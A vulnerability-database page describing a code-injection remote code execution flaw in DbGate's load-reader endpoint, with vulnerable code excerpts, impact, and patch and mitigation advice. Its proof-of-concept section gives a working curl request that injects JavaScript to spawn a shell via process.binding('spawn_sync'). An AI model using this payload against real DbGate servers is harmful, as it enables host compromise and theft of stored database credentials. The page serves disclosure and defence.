DbGate CVE-2026-48017
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.
CVSS VectorVendor: https://github.com/dbgate/dbgate
Lifecycle Timeline
3Blast Radius
ecosystem impact- 2 npm packages depend on dbgate-api (2 direct, 0 indirect)
Ecosystem-wide dependent count for version 7.1.9.
DescriptionCVE.org
Summary
The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.
Details
The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:
Vulnerable code (permalink):
loadReader_meta: true,
async loadReader({ functionName, props }) {
if (!platformInfo.isElectron) {
if (props?.fileName && !checkSecureDirectories(props.fileName)) {
return { errorMessage: 'DBGM-00289 Unallowed file' };
}
}
const prefix = extractShellApiPlugins(functionName)
.map(packageName => `// @require ${packageName}\n`)
.join('');
const promise = new Promise((resolve, reject) => {
const runid = crypto.randomUUID();
this.requests[runid] = { resolve, reject, exitOnStreamError: true };
this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
});
return promise;
},The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:
export function compileShellApiFunctionName(functionName) {
const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
if (nsMatch) {
return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
}
return `dbgateApi.${functionName}`;
}Two injection vectors:
- Without
@: The entirefunctionNameis appended afterdbgateApi.without sanitization - With
@: The part before@(nsMatch[1]) is appended after.shellApi.without sanitization (only the part after@goes through_camelCase)
Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.
Compare with safe code in the same file (line 292):
start_meta: true,
async start({ script }, req) {
// ...
await testStandardPermission('run-shell-script', req); // <-- Permission check!
if (!platformInfo.allowShellScripting) { // <-- Platform check!
return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
}
// ...
},The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.
PoC
An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:
# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.
curl -X POST http://TARGET:3000/runners/load-reader \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-d '{
"functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
"props": {}
}'This generates the following JavaScript that is forked as a child process:
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.
A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py
Impact
An authenticated user with basic access (no admin role, no run-shell-script permission required) can:
- Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
- Read/write any file accessible to the process
- Pivot to connected databases by reading connection credentials from DbGate's storage
- Compromise the host system - in Docker deployments, this typically means root access within the container
This is particularly severe because:
- No special permissions are required beyond basic authentication
- The
require=nullsandbox is completely bypassed viaprocess.binding("spawn_sync") - The
loadReaderendpoint lacks the permission checks present on thestartendpoint - DbGate is commonly deployed as a web-accessible database management tool
AnalysisAI
Remote code execution in DbGate (npm package dbgate-api) versions 7.1.8 and earlier allows any authenticated user with basic access to execute arbitrary OS commands by injecting JavaScript into the functionName parameter of the POST /runners/load-reader endpoint. The flaw stems from unsanitized string interpolation into a server-side script template, and the require=null sandbox is bypassed via process.binding("spawn_sync"). Publicly available exploit code exists (vendor-published PoC in the GHSA advisory), and the issue carries a CVSS 8.8 rating with low-complexity, low-privilege exploitation.
Technical ContextAI
DbGate is a cross-platform web-based database management tool with a Node.js API layer (npm package dbgate-api, identified by CPE pkg:npm/dbgate-api). The root cause is CWE-94 (Improper Control of Generation of Code, i.e., code injection): the loadReader controller in packages/api/src/controllers/runners.js passes the user-supplied functionName into compileShellApiFunctionName() (in packages/tools/src/packageTools.ts), which only applies a regex split on @ and _camelCase to one segment, performing no validation or escaping before the result is concatenated into a JavaScript template literal that is then forked as a child process via startCore. While the template sets require=null to sandbox the executed code, the Node.js process global remains reachable, and process.binding('spawn_sync') exposes a low-level child-process spawn primitive that escapes the sandbox entirely. Unlike the sibling start endpoint, loadReader does not call testStandardPermission('run-shell-script', req) nor check platformInfo.allowShellScripting, so any logged-in user reaches the sink.
RemediationAI
Vendor-released patch: dbgate-api 7.1.9 - upgrade immediately via npm install dbgate-api@7.1.9 (or pull the corresponding DbGate 7.1.9 Docker image / release from https://github.com/dbgate/dbgate/releases/tag/v7.1.9). If patching cannot be performed right away, place the DbGate instance behind a reverse proxy or WAF rule that blocks POST /runners/load-reader requests (this disables the loadReader functionality used by the Shell/Query Reader features, so legitimate users invoking those flows will see errors), restrict network access to the DbGate UI to trusted administrators only via VPN or IP allowlist, and audit/rotate any database connection credentials stored in DbGate plus any secrets reachable from the host or container in case the issue has already been exploited. Disabling self-signup and tightening account provisioning reduces, but does not eliminate, exposure since the bug is reachable by any authenticated user. Full advisory and remediation details: https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385.
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Same weakness CWE-94 – Code Injection
View allSame technique Privilege Escalation
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External POC / Exploit Code
Leaving vuln.today
GHSA-hv83-ggc4-v385